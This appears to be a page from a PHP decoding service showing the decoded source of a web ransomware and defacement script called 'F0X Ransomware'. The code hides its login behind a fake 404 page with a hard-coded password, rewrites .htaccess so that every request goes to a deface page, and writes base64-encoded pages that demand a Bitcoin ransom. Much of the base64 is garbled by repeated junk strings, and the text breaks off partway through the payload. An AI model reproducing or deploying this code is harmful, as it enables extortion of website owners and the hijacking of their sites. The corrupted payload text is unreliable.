Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ?><?php error_reporting(0); @set_time_limit(0); @session_start(); $xSoftware = t..

Decoded Output download

<?php ?><?php
error_reporting(0);
@set_time_limit(0);
@session_start();
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
$xServerName = $_SERVER["HTTP_HOST"];
$xPass = $_POST['pass'];
$xCheck_login = 1;
$xPassword = "TheF0X";
$xName = "fox";
if ($xPass == $xPassword) {
    $_SESSION['login'] = "$xPass";
}
if ($xCheck_login) {
    if (!isset($_SESSION['login']) or $_SESSION['login'] != $xPassword) {
        die("
<html>
<head>
<title>404 Not Found</title>
<style type=\"text/css\">
input{
margin:0;
background-color:#fff;
border:1px solid #fff;
}
</style>
</head>
 
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle your fucking request.</p>
<hr>
<address>" . $xSoftware . " Server at " . $xServerName . " Port 80 </address>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<center>
<form method=\"post\">
<input type=\"password\" name=\"pass\">
</form>
</center>
</body>
</html>
");
    }
};
?>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta http-equiv="Content-Language" content="en-us">
<meta name="description" content="This Website Has been encrypted with F0X Ransomware, it is a PHP script made by TheF0X This Ransomware can encrypt any website file(s) very easily.">
<meta name="keywords" content="F0Xware,Ransomware,website locker,website ransomware, TheF0X">
<meta name="author" content="TheF0X">
<meta name="robots" content="index, all">
<link rel="icon" type="image/gif" href="https://s-media-cache-ak0.pinimg.com/236x/a7/76/ec/a776ec52e575d0473d33557aa610e47d--skull-fashion-flower-tattoos.jpg">
<head>
   <title>F0X RASOMWARE</title>
<style type="text/css">
body {
    background: #282727;
    color: #10edb6;
}
.inpute{
    border-style: groove;
    border-color: #379600;
    background-color: transparent;
    color: white;
    text-align: center;
}
.selecte{
    border-style: dashed;
    border-color: green;
    background-color: transparent;
    color: red;
}
.submite{
       border-style: groove;
    border-color: #4CAF50;
    background-color: transparent;
    color: yellow;
}
.result{
  text-align: left;
}
</style>
<link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css">
</head>
<body>
<div class="result">
<?php
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '-1');
class deRanSomeware {
    public function shcpackInstall() {
        if (!file_exists(".fox")) {
            rename(".htaccess", ".fox");
            if (fwrite(fopen('.htaccess', 'w'), "#F0X
DirectoryIndex fox.php
ErrorDocument 404 /fox.php")) {
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i> .htaccess (Ransomware .htaccess file)<br>';
            }
            if (file_put_contents("fox.php", base64_decode("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"))) {
                echo '<i class="fa fa-smile-o" aria-hidden="true"></i>  fox.php (This is the Deface Page)<br>';
            }
            if (file_put_contents("decrypt.php", base64_decode("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hQC2tk5CVZ9a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQC2tk5CVZa49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQC2tk5CVZa49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQC2tk5CVZa49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQC2tk5CVZa49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQC2tk5CVZa49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVpnTpMvuLFJsgdWyfz8BEC7p6a49a9a0fd51ebf9357kKuBPCHbEN68fb6JsuryJFgmG53crshvnxLDE9Jsm8sJxPxct425HhQR66iRUjcvVp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